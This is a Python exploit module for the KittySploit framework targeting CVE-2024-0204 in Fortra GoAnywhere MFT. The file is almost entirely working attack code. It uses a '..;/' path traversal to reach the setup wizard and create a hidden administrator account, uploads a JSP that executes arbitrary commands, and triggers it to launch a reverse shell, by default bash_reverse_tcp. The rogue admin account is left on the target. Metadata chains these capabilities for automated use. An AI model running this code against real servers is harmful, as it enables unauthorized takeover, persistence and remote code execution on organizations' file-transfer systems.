Fortra GoAnywhere MFT Auth Bypass RCE (CVE-2024-0204)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Fortra GoAnywhere MFT auth bypass + JSP upload RCE (CVE-2024-0204)."""

from __future__ import annotations

import json
import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'Fortra GoAnywhere MFT Auth Bypass RCE (CVE-2024-0204)',
        'description': (
            'Exploits CVE-2024-0204 to create an administrator via the '
            'InitialAccountSetup wizard path traversal, upload a JSP payload '
            'through the FileManager, and execute a reverse CMD command. '
            'GoAnywhere MFT 6.0.1 through 7.4.0.'
        ),
        'author': ['James Horseman', 'Zach Hanley', 'KittySploit Team'],
        'cve': ['CVE-2024-0204'],
        'platform': Platform.MULTI,
        'arch': [Arch.X86, Arch.X64],
        'category': PayloadCategory.CMD,
        'payload': {
            'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
            'platform': [Platform.UNIX, Platform.WINDOWS, Platform.MULTI],
            'category': PayloadCategory.CMD,
        },
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2024-0204',
            'https://www.fortra.com/security/advisory/fi-2024-001',
            'https://github.com/horizon3ai/CVE-2024-0204',
        ],
        'tags': [
            'goanywhere', 'fortra', 'mft', 'auth-bypass', 'jsp', 'rce',
            'unauth', 'kev', 'cve-2024-0204',
        ],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution', 'config_change'],
            'expected_requests': 8,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals', 'rce', 'credentials'],
            'requires': {
                'tech_hints_any': ['goanywhere', 'fortra'],
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'admin_account', 'from_detail': 'InitialAccountSetup'},
                    {'capability': 'rce', 'from_detail': 'adminroot JSP upload'},
                    {'capability': 'shell', 'from_detail': 'reverse CMD session'},
                ],
                'suggested_followups': ['scanner/http/cve_2024_0204_detect'],
            },
        },
    }

    port = OptPort(8001, 'GoAnywhere HTTP port', True)
    ssl = OptBool(True, 'Use HTTPS', True, advanced=True)
    path = OptString('/goanywhere/', 'Application base path', True)
    bypass_segment = OptString(
        '',
        'Path segment for ..;/ traversal (auto if empty)',
        False,
        advanced=True,
    )
    install_path = OptString(
        '',
        'GoAnywhere install directory (auto from About page if empty)',
        False,
        advanced=True,
    )
    shell = OptChoice(
        'unix',
        'Shell for JSP ProcessBuilder',
        False,
        choices=['unix', 'windows'],
        advanced=True,
    )

    _BYPASS_SEGMENTS = ('styles', 'fonts', 'auth', 'help', 'images')

    def _api(self, *parts: str) -> str:
        base = (self.path or '/goanywhere/').rstrip('/')
        suffix = '/'.join(p.strip('/') for p in parts if p)
        return f'{base}/{suffix}' if base else f'/{suffix}'

    def _viewstate(self, endpoint: str) -> str | None:
        r = self.http_request(method='GET', path=endpoint, allow_redirects=True)
        if not r or int(r.status_code or 0) not in (200, 401):
            return None
        match = re.search(
            r'name="javax\.faces\.ViewState"[^>]*value="([^"]*)"',
            r.text or '',
            re.I,
        )
        return match.group(1) if match else None

    def _setup_endpoint(self) -> str | None:
        manual = str(self.bypass_segment or '').strip()
        segments = [manual] if manual else list(self._BYPASS_SEGMENTS)
        for segment in segments:
            endpoint = self._api(segment, '..;', 'wizard', 'InitialAccountSetup.xhtml')
            vs = self._viewstate(endpoint)
            if vs:
                return endpoint
        return None

    def _parse_version(self) -> tuple[str, str] | None:
        r = self.http_request(
            method='GET',
            path=self._api('rest', 'gacmd', 'v1', 'system'),
            allow_redirects=False,
        )
        if not r or int(r.status_code or 0) != 200:
            return None
        try:
            data = json.loads(r.text or '')
        except json.JSONDecodeError:
            return None
        product = (data.get('data') or {}).get('product') or ''
        version = (data.get('data') or {}).get('version') or ''
        if product and version:
            return product, version
        return None

    def _version_vulnerable(self, version: str) -> bool:
        parts = []
        for chunk in version.split('.'):
            try:
                parts.append(int(re.sub(r'[^0-9]', '', chunk) or '0'))
            except ValueError:
                parts.append(0)
        while len(parts) < 3:
            parts.append(0)
        return (6, 0, 1) <= tuple(parts[:3]) <= (7, 4, 0)

    def _create_admin(self, endpoint: str) -> tuple[str, str] | None:
        viewstate = self._viewstate(endpoint)
        if not viewstate:
            return None
        username = self.random_text(8).lower()
        password = self.random_text(16)
        bullet = '%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2%E2%80%A2'
        data = {
            'javax.faces.ViewState': viewstate,
            'j_id_u:creteAdminGrid:username': username,
            'j_id_u:creteAdminGrid:password': bullet,
            'j_id_u:creteAdminGrid:password_hinput': password,
            'j_id_u:creteAdminGrid:confirmPassword': bullet,
            'j_id_u:creteAdminGrid:confirmPassword_hinput': password,
            'j_id_u:creteAdminGrid:submitButton': '',
            'createAdminForm_SUBMIT': '1',
        }
        r = self.http_request(
            method='POST',
            path=endpoint,
            data=data,
            allow_redirects=False,
        )
        if not r:
            return None
        code = int(r.status_code or 0)
        location = r.headers.get('Location', '')
        if code == 302 and 'Dashboard.xhtml' in location:
            return username, password
        if code == 200 and 'ui-messages-error-summary' not in (r.text or ''):
            return username, password
        return None

    def _detect_install(self) -> tuple[str, str] | None:
        manual = str(self.install_path or '').strip()
        if manual:
            platform = 'windows' if ':' in manual or '\\' in manual else 'unix'
            return manual.rstrip('/\\'), platform
        r = self.http_request(
            method='GET',
            path=self._api('help', 'About.xhtml'),
            allow_redirects=True,
        )
        if not r or int(r.status_code or 0) != 200:
            return None
        body = r.text or ''
        os_match = re.search(r'id="AboutForm:[^"]*:OSName">([^<]+)</span>', body)
        home_match = re.search(r'id="AboutForm:[^"]*:goAnywhereHome">([^<]+)</span>', body)
        if not home_match:
            return None
        install = home_match.group(1).strip()
        os_name = (os_match.group(1) if os_match else '').lower()
        platform = 'windows' if 'windows' in os_name else 'unix'
        return install, platform

    def _build_jsp(self, command: str, platform: str) -> str:
        cmd_java = json.dumps(command)
        if platform == 'windows':
            argv = f'new String[] {{"cmd.exe", "/c", {cmd_java}}}'
        else:
            argv = f'new String[] {{"/bin/sh", "-c", {cmd_java}}}'
        return (
            '<%@ page import="java.io.*" %>\n'
            '<%\n'
            f'  Runtime.getRuntime().exec({argv});\n'
            '%>\n'
        )

    def _upload_jsp(self, install_dir: str, platform: str, jsp_body: str) -> str | None:
        sep = '\\' if platform == 'windows' else '/'
        adminroot = install_dir.rstrip('/\\') + f'{sep}adminroot{sep}'
        fm_path = self._api('tools', 'filemanager', 'FileManager.xhtml')
        viewstate = self._viewstate(fm_path)
        if not viewstate:
            return None

        r = self.http_request(
            method='POST',
            path=fm_path,
            data={
                'javax.faces.ViewState': viewstate,
                'j_id_4u:j_id_4v:newPath_focus': '',
                'j_id_4u:j_id_4v:newPath_input': '/',
                'j_id_4u:j_id_4v:newPath_editableInput': adminroot,
                'j_id_4u:j_id_4v:NewPathButton': '',
                'j_id_4u_SUBMIT': '1',
            },
            allow_redirects=True,
        )
        if not r or int(r.status_code or 0) != 200:
            return None
        req_match = re.search(r'name="reqId"[^>]*value="([^"]*)"', r.text or '', re.I)
        if not req_match:
            return None
        req_id = req_match.group(1)

        self.http_request(
            method='POST',
            path=fm_path,
            data={
                'javax.faces.ViewState': viewstate,
                'javax.faces.partial.ajax': 'true',
                'javax.faces.source': 'uploadID',
                'javax.faces.partial.execute': 'uploadID',
                'javax.faces.partial.render': '@none',
                'uploadID': 'uploadID',
                'uploadID_sessionCheck': 'true',
                'reqId': req_id,
                'whenFileExists_focus': '',
                'whenFileExists_input': 'rename',
                'uploaderType': 'filemanager',
                'j_id_4i_SUBMIT': '1',
            },
            allow_redirects=True,
        )

        jsp_name = f'{self.random_text(8).lower()}.jsp'
        r = self.http_request(
            method='POST',
            path=fm_path,
            data={
                'reqId': req_id,
                'whenFileExists_focus': '',
                'whenFileExists_input': 'rename',
                'uploaderType': 'filemanager',
                'j_id_4i_SUBMIT': '1',
                'javax.faces.ViewState': viewstate,
                'javax.faces.partial.ajax': 'true',
                'javax.faces.partial.execute': 'uploadID',
                'javax.faces.partial.render': 'uploadID',
                'javax.faces.source': 'uploadID',
                'uniqueFileUploadId': '1',
            },
            files={'uploadID': (jsp_name, jsp_body.encode(), 'text/plain')},
            allow_redirects=True,
        )
        if not r or int(r.status_code or 0) != 200:
            return None
        return jsp_name

    def check(self):
        info = self._parse_version()
        if not info:
            endpoint = self._setup_endpoint()
            if endpoint:
                return {
                    'vulnerable': True,
                    'reason': 'InitialAccountSetup wizard reachable (version unknown)',
                    'confidence': 'medium',
                }
            return {'vulnerable': False, 'reason': 'GoAnywhere not detected', 'confidence': 'low'}
        product, version = info
        if self._version_vulnerable(version):
            return {
                'vulnerable': True,
                'reason': f'{product} {version} in affected range',
                'confidence': 'high',
            }
        return {
            'vulnerable': False,
            'reason': f'{product} {version} appears patched',
            'confidence': 'high',
        }

    def run(self):
        payload_cmd = str(self.payload or '').strip()
        if not payload_cmd:
            print_error('Set a reverse CMD payload')
            return False

        print_status('CVE-2024-0204 — GoAnywhere MFT auth bypass + JSP RCE')
        info = self._parse_version()
        if info:
            product, version = info
            print_info(f'Detected {product} {version}')
            if not self._version_vulnerable(version):
                print_error('Target version appears patched')
                self.not_vulnerable()
                return False

        endpoint = self._setup_endpoint()
        if not endpoint:
            print_error('InitialAccountSetup wizard not reachable')
            self.not_vulnerable()
            return False

        creds = self._create_admin(endpoint)
        if not creds:
            print_error('Administrator account creation failed')
            self.not_vulnerable()
            return False
        username, password = creds
        print_success(f'Administrator created: {username}:{password}')

        detected = self._detect_install()
        if not detected:
            print_error('Could not determine install path (set install_path manually)')
            return False
        install_dir, platform = detected
        if str(self.shell or 'unix').strip().lower() == 'windows':
            platform = 'windows'

        jsp_body = self._build_jsp(payload_cmd, platform)
        jsp_name = self._upload_jsp(install_dir, platform, jsp_body)
        if not jsp_name:
            print_error('JSP upload via FileManager failed')
            return False
        print_success(f'Uploaded {jsp_name} to adminroot')

        trigger = self._api(jsp_name)
        self.http_request(method='GET', path=trigger, allow_redirects=True)
        print_success(f'Payload triggered via {trigger}')
        print_warning(f'Admin account {username} remains on target')
        self.vulnerable()
        return True